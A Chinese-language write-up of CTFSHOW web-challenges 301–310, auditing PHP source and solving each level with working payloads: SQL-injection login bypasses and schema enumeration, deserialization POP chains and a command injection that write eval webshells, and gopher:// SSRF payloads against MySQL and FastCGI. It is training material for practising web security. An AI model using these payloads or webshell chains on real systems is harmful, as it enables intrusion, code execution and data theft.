Practice - CTFSHOW WEB入门 代码审计篇

web301

checklogin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

checklogin.php 可以发现直接拼接字符串的 sql 注入,没有任何过滤。绕过后在 index.php 中版本号处找到 flag
payload: userid=aaaa' union select 'aaaa' %23&userpwd=aaaa

web302

这题和上题的代码链接是一样的。。。 直接给出修改了什么可还行,本来还想 diff 的。审了个寂寞。。。

1
2
// hint:
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

这里 sds_decode 在 fun.php 里面

1
2
3
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}

按这个构造下 payload

1
2
var_dump(md5(md5("bbb".md5(base64_encode("sds")))."sds"));
// string(32) "9316b783c54ecd0059abac8d105ff4a0"

POST /checklogin.php
userid=aaa’ union select ‘9316b783c54ecd0059abac8d105ff4a0’ %23&userpwd=bbb

flag 位置不变

web303

checklogin.php 的 userid 增加了长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
session_start();
require 'conn.php';
require 'fun.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
if(strlen($username)>6){
die();
}
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

不过在 fun.php 和 sds_user.sql 中给出了弱密码提示 admin/admin

1
2
3
4
5
6
7
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("admin");
// 27151b7b1ad51a38ea66b1529cde5ee4
?>

sds_user.sql

1
2
3
4
5
6
7
8
9
SET FOREIGN_KEY_CHECKS=0;
DROP TABLE IF EXISTS `sds_user`;
CREATE TABLE `sds_user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`sds_username` varchar(255) DEFAULT NULL,
`sds_password` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

使用 admin/admin 登录后,dptadd.php 中的 insert 语句为直接拼接,可以直接查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dptadd.php HTTP/1.1
Host: 94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.show
Content-Length: 154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.show/dpt.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __e_inc=1; PHPSESSID=3pa7egrnfbseqe3mvbcr3k1cp5
Connection: close

dpt_name=a&dpt_address=a&dpt_build_year=2022-06-16&dpt_has_cert=on&dpt_cert_number=a',sds_telephone=(payload);%23&dpt_telephone_number=a

payloads:

1
2
3
4
select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g'
select flag from sds_fl9g

flag 在数据库里

web304

提示加了个全局 waf,没看懂

1
2
3
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}

没看出和上题有什么区别,也没给源码。。。一样的方式接着打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dptadd.php HTTP/1.1
Host: c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.show
Content-Length: 155
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.show/dpt.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __e_inc=1; PHPSESSID=rapobb3n0f461d9tjujqijivb5
Connection: close

dpt_name=a&dpt_address=a&dpt_build_year=2022-06-16&dpt_has_cert=on&dpt_cert_number=a',sds_telephone=(select flag from sds_flaag);%23&dpt_telephone_number=a

web305

给源码喽!这次给 dptadd.php 加了个好长的 waf,应该是给注入封上了。
checklogin.php 又新增了不需要登录的反序列化,还加了个 class.php,__destruct 写文件可还行。。。
checklogin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
session_start();
require 'conn.php';
require 'fun.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
if(strlen($username)>6){
die();
}
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-17 13:20:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-17 13:33:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}

于是构造 cookie 写 shell,蚁剑查数据库拿 flag。

1
2
3
4
5
6
7
8
9
10
<?php
class user{
public $username;
public $password;
}
$a = new user();
$a->username = "/var/www/html/sh.php";
$a->password = "<?php eval(\$_POST[1]); ?>";
echo urlencode(serialize($a));
// O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A20%3A%22%2Fvar%2Fwww%2Fhtml%2Fsh.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3B%7D

POST /checklogin.php
Cookie: user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A20%3A%22%2Fvar%2Fwww%2Fhtml%2Fsh.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3B%7D

web306

这次去掉了 user 写文件的方法,增加了另外两个类,这里发现可以 dao 和 log 两个类配合反序列化写文件。
pop chain: $dao->_destruct()=>$log->close()=>file_put_contents()
class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-17 13:20:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-17 18:41:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}

class dpt{
public $name;
public $address;
public $build_year;
public $have_cert="0";
public $cert_num;
public $phone;
public function __construct($n,$a,$b,$h,$c,$p){
$this->name=$n;
$this->address=$a;
$this->build_year=$b;
$this->have_cert=$h;
$this->cert_num=$c;
$this->phone=$p;

}
}
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}

}

dao.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-17 15:03:23
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-17 15:41:14
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


require 'config.php';
require 'class.php';


class dao{
private $config;
private $conn;

public function __construct(){
$this->config=new config();
$this->init();
}
private function init(){
$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
}
public function __destruct(){
$this->conn->close();
}

public function get_user_password_by_username($u){
$sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";
$result=$this->conn->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows>0){
return $row['sds_password'];
}else{
return '';
}
}

}

dao.php 引入了 class.php,所以只要找到引入了 dao.php 且有反序列化的点就好了,那就是 index.php:

1
2
3
4
5
6
7
8
9
10
11

<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));
if(!$user){
header("location:login.php");
}
?>
<!doctype html>

构造 cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class dao{
public $conn;
}

class log{
public $title;
public $info;
}

$d1 = new dao();
$l1 = new log();
$l1->title = "/var/www/html/sh.php";
$l1->info = "<?php @eval(\$_POST[1]); ?>";
$d1->conn = $l1;
echo "user=".urlencode(base64_encode(serialize($d1)));
// user=TzozOiJkYW8iOjE6e3M6NDoiY29ubiI7TzozOiJsb2ciOjI6e3M6NToidGl0bGUiO3M6MjA6Ii92YXIvd3d3L2h0bWwvc2gucGhwIjtzOjQ6ImluZm8iO3M6MjY6Ijw%2FcGhwIEBldmFsKCRfUE9TVFsxXSk7ID8%2BIjt9fQ%3D%3D

蚁剑连接,flag 在 flag.php

web307

上道题 log->close 方法被改了名用不了了。找了一条新链子可以执行命令。
/controller/logout.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
session_start();
error_reporting(0);
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
var_dump($service);
if($service){
$service->clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");
?>

这里可以调用 dao->clearCache 实现命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class config{
public $cache_dir = "cache/* && echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4g'|base64 -d > /var/www/html/sh.php #";
}

class dao{
public $config;

function __construct()
{
$this->config= new config();
}
}

$d1 = new dao();
echo urlencode(base64_encode(serialize($d1)));

蚁剑连接密码 1,flag 在 flag.php。

web308

上题的方法加上了正则的限制,应该是封死了。
这题一开始是走到了可以 curl 读文件的步骤,但是因为之前没打过 ssrf gopher 就卡在这里了,找了下师傅们的 wp 才知道要 ssrf gopher 打 mysql 写 shell,学到了。
pop chain: index.php=>unserialize&&$dao->checkVersion()=>checkUpdate()=>curl_exec() SSRF
index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
session_start();
error_reporting(0);
require 'controller/service/service.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
}
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$lastVersion=$service->checkVersion();
}
?>
<!doctype html>

这里 header("location:xxxx") 了但是没 return,burp 抓到还是有内容的,浏览器只能看到 302。
构造 cookie:
这里用到了工具 https://github.com/tarunkant/Gopherus 构造 gopher 的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* 
$ python2 gopherus.py --exploit mysql


________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/

author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: root
Give query to execute: select '<?php eval($_POST[1]); ?>' into outfile '/var/www/html/sh.php';

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%2e%70%68%70%27%3b%01%00%00%00%01

-----------Made-by-SpyD3r-----------
*/
<?php

class config{
public $update_url = "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%2e%70%68%70%27%3b%01%00%00%00%01";
}

class dao{
public $config;

function __construct()
{
$this->config= new config();
}
}

$d1 = new dao();
echo urlencode(base64_encode(serialize($d1)));

然后蚁剑连 shell 读 flag

web309

和上题一样打 gopher,不过提示 mysql 加了密码,还可以打 fastcgi。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*
$ python2 gopherus.py --exploit fastcgi


________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/

author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/index.php
Terminal command to run: tac /var/www/html/flaaaaaagg.php

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH84%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00T%04%00%3C%3Fphp%20system%28%27tac%20/var/www/html/flaaaaaagg.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------
*/
<?php

class config{
public $update_url = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH84%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00T%04%00%3C%3Fphp%20system%28%27tac%20/var/www/html/flaaaaaagg.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00";
}

class dao{
public $config;

function __construct()
{
$this->config= new config();
}
}

$d1 = new dao();
echo urlencode(base64_encode(serialize($d1)));

web310

前两个不通了,读 file:///etc/nginx/nginx.conf 可知 flag 路径。

1
2
3
4
5
6
7
8
9
10
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;

proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class config{
public $update_url = "http://localhost:4476/";
}

class dao{
public $config;

function __construct()
{
$this->config= new config();
}
}

$d1 = new dao();
echo urlencode(base64_encode(serialize($d1)));

代码审计部分到此结束。